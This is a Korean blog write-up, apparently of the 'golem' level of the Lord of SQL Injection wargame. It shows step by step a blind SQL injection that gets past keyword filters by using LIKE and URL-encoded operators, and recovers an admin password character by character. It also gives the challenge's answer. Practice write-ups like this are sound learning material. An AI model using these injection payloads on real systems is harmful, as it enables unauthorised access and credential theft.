사이트 주소 : https://los.rubiya.kr/
11번 문제 golem 입니다.
[문제 접근]
query를 보면 pw 값을 맞춰야하는 것 같네요. pw를 알아내기 위해 substr을 사용하고 싶지만 필터링이 되어 있어보이네요. 다른 방법을 써야 합니다.
substr과 ascii 함수가 사용하기 좋지만, 필터링이 된 경우에는 like 연산자를 사용할 수 있습니다.
?pw=0'||id like 'admin'%26%26'1' like '1'%23
id가 admin이랑 like 하고 1이 1과 like하면 이라는 조건이 되니, Hello admin이 찍힙니다.
참고 : and를 필터링하기 때문에 &&의 URL 인코딩 값인 %26%26을 넣은 것입니다.
?pw=0'||id like 'admin'%26%26'1' like '2'%23
1 like 1을 1 like 2로 바꿔 거짓으로 쿼리를 날리면 Hello admin이 찍히지 않습니다.
이 포인트를 가지고 Blind 인젝션을 하겠습니다.
먼저 pw의 길이를 알아보기 위해 length 함수를 사용합니다.
대략 6, 7, 8 올리면서 시도해보면 8에서 Hello admin이 출력됩니다.
?pw=0'||id like 'admin'%26%26length(pw) like '8'%23
이제 id 가 admin인 계정의 pw 길이는 8자리로 알아냈습니다.
그럼 1자리씩 일일히 시도 해보겠습니다.
like를 쓸 때 'pw' like '1%' 이런 식으로 하면 1로 시작되는 것을 알아볼 수 있는 점을 이용합니다.
?pw=0'||id like 'admin'%26%26pw like '7%'%23
pw는 7로 시작되는 8자리입니다.
?pw=0'||id like 'admin'%26%26pw like '77%'%23
pw는 77로 시작되는 8자리입니다.
?pw=0'||id like 'admin'%26%26pw like '77d%'%23
pw는 77d로 시작되는 8자리입니다.
?pw=0'||id like 'admin'%26%26pw like '77d6%'%23
pw는 77d6로 시작되는 8자리입니다.
?pw=0'||id like 'admin'%26%26pw like '77d62%'%23
pw는 77d62로 시작되는 8자리입니다.
?pw=0'||id like 'admin'%26%26pw like '77d629%'%23
pw는 77d629로 시작되는 8자리입니다.
?pw=0'||id like 'admin'%26%26pw like '77d6290%'%23
pw는 77d6290로 시작되는 8자리입니다.
?pw=0'||id like 'admin'%26%26pw like '77d6290b'%23
pw는 77d6290b입니다.
[문제 정답]
정답 : ?pw=77d6290b
"GOLEM Clear!" 가 나타납니다. 정답!
다음 스테이지로 넘어가시죠~
like를 사용하여 비교가 가능하다는 점이 포인트이네요. 그리고 이렇게 사용할 때는 너무 수작업 공수가 많이 들어 다른 쿼리나 다른 방법을 사용하는 것이 좋을 것 같네요..
참고로 아래 쿼리로도 가능합니다. ascii와 mid 함수를 사용합니다. substr이 필터링되었기 떄문에 대체할 수 있는 mid 등의 함수를 활용하는 것이 더 편리하겠네요. like 보다는..
이해와 공부 목적으로 일일히 수동적으로 입력했지만, 다음 문제부터는 Burp Suite 툴을 좀 활용해보겠습니다.
(그 것도 하나의 방법이니 익혀두면은 유용합니다.)
[Lord of SQL Injection] skeleton 10번 풀이 (0) | 2020.08.14 |
---|---|
[Lord of SQL Injection] vampire 9번 풀이 (0) | 2020.08.14 |
[Lord of SQL Injection] troll 8번 풀이 (0) | 2020.08.14 |
[Lord of SQL Injection] orge 7번 풀이 (0) | 2020.07.06 |
[Lord of SQL Injection] darkelf 6번 풀이 (0) | 2020.07.06 |
댓글 영역